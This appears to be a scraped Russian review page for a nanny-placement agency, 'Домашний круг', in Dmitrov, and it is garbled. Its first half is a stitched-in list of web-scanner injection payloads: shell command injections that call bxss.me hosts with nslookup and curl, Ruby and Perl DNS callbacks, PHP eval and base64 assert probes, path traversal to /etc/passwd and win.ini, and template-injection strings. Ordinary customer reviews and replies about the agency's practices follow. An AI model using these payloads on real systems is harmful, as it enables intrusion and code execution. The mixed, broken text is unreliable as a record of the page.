Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Борец за справедливость
25.12.2011
Эта, так называемая фирма работает нарушая все юридические права: 1. Не заключает договор с соискателем 2. Не выдает кассовые чеки за оплату трудоустройства 3. Не защищает права соискателя и т. п. Устроили меня на работу к так называемым "крутым". На словах (в договоре не прописано) обещали работу 3/3, а на деле оказывалось 10/10, 21/21 или 30/30, четкого графика нет. Девушка доит деньги и с работодателя и с соискателя. Естественно выгодно! Прошу налоговые органы обратить внимание на эту "фирму" и на тех кто там "заправляет". Финансового учета и отчета о всех трудоустроенных вы там вряд ли найдете. А Вам, уважаемые работники "фирмы", более внимательно относиться к тем, кто к вам приходит в поисках работы. Это не "убогие люди", а Люди, которые в данное время испытывают жизненные затруднения, и вынуждены обращаться к вам за помощью. Если вы работаете - работайте честно и не очерняйте, не обливайте грязью своих работников. Вы прекрасно знаете своих "дорогих клиентов" и предупреждайте о всех трудностях в работе в этих семьях своих потенциальных соискателей. Няни и гувернантки! Если у вас есть чувство собственного достоинства, никогда не соглашайтесь работать там. Там ценятся сплетни и клевета! Отношение к тем кто работает в этой семье, просто скотское. Условия для работы ужасные.
Непорядочное и лживое агентство! 1. Врать начали с самого начала поиска няни для ребенка. Предоставили на выбор несколько вариантов кандидатов на должность няни. После того, как мы с женой остановились на одном кандидате, уверяли, что у кандидата есть рекомендательные письма, с которыми можно ознакомиться после прохождения пробного дня с ребенком. Никаких писем у человека в итоге не оказалось. 2. Кандидаты на собеседование приходят неподготовленные. Ни одно уважающее себя агентство не допускает кандидатов к собеседованию без предварительной "обработки"- человек должен знать, как себя вести, что можно говорить, а что нет. Люди говорят на собеседованиях такую ересь, словно их на вокзале подобрали, привели в агентство и повесили высоченный ценник. 3. Мария и Ирина в агентстве на Хавской - явный пример непрофессионализма и хамства.
Хочу заступиться за КА Домашний круг и за его менеджеров по подбору персонала. Моя история работы с этим агентством всегда была со знаком плюс, при, да, имеющихся недостатках, которые погоды не делали в итоге. Замечу, что кадровое агентство не является государственной организацией, поэтому не может обеспечить тех гарантий, которые в ведении государства. Агентства не могут дать гарантий, прописанных в трудовом кодексе. Они выполняют посредническую функцию и не отвечают за порядочность как соискателей, так и работодателей. Договор с соискателем было бы неплохо заключать. Но кто возьмет на себя эти издержки? Я считаю, что соискатель и работодатель могут составить такой договор в присутствии юриста сами. Но, ясное дело, что инициатором в таком вопросе всегда будет соискатель. И еще не известно, как на такую инициативу посмотрит тот, кто доверяет своих детей. Соискатель рискует меньше. А при возникновении спорных вопросов надо тоже уметь себя защитить, не принимая новых условий, влияющих на режим труда и оплаты. Если аргументировано объяснить свою позицию, то и работодатель и агентство не будут иметь к вам претензий. Договор с работодателем обязательно заключается. В нем прописывается и срок договора. Если до истечения этого срока няня отказывается от продолжения работы по каким-либо обстоятельствам, агентство обязано предоставить другую кандидатуру без взимания платы за посреднические услуги. Если меняются обстоятельства у заказчика, но он не имеет претензий к няне, как правило, удается договориться напрямую: возможна выплата некоторой неустойки (в зависимости от условий договора) и хорошие рекомендации для быстрого поиска новой работы через агентство. Хорошая, уважающая себя няня - это находка и для работодателя и для агентства. А профессиональные няни, осознанно выбирающие именно такую форму деятельности, не являются людьми, которые "в данное время испытывают жизненные затруднения, и вынуждены обращаться... за помощью". Это вполне достойный заработок, очень не простой, требующий очень многих навыков и личностных качеств, включая умение разрешать сложные ситуации, не доводя их до конфликта. Конечно хотелось бы, чтобы такая профессия официально существовала, за нее бы начислялся трудовой стаж, велась юридическая и психологическая поддержка, обеспечивались бы социальные гарантии (болезнь, отпуск и пр.). Но это, согласитесь, не является задачей агентства. Когда-нибудь именно так оно и будет. Но это прибавит дополнительные требования к соискателям, например, приобретать лицензию или оформляться как индивидуальный предприниматель. А это - дополнительные расходы. Так, что хотите защиты и социальных гарантий - платите налоги. Вот так. Так что, пользуясь случаем, выражаю благодарность Марии, Ирине и Ольге из "Домашнего круга" за их долготерпение, тактичность и благожелательность к двум сторонам при посредничестве. Они честно зарабатывают себе на жизнь. А вот если бы вы имели опыт общения с работодателем напрямую, уверена, вы бы меньше находили поводов для критики.
Евгению. Рекомендательные письма в настоящее время на являются гарантом надежности няни. При большом желании их можно сфабриковать, обратившись за помощью к друзьям. Поэтому современной практикой является - таки работа именно с агентством. Если няня хорошо зарекомендовала себя в агентстве, то это лучшая рекомендация. Как правило, менеджер имеет телефоны бывших работодателей (а не все из них готовы контактировать с неизвестными людьми), и при вашем требовании может способствовать вашему контакту. Обычно, оформляясь в другое агентство, я указываю в графе "рекомендации" телефоны прежних работодателей, но с указанием их пожелания - связь через менеджера кадрового агентства. Это значит, что человек не хочет, чтобы его лишний раз кто-то неизвестный беспокоил. Предварительная "обработка" перед собеседованием - это как раз критерий непрофессионального агентства. С вашими детьми будет работать реальная няня, а не дрессированный робот. На вашем месте я бы поставила это агентству в плюс. А решение - за вами. Если вам не нравится "ценник", обратитесь к менеджеру за разъяснениями, устройте няне "экзамен" в конце концов. Вы пришли не колбасу покупать, а подобрать человека, с которого ваш ребенок может много чего скопировать. Давайте же будем мудрыми людьми, а не критиканами.
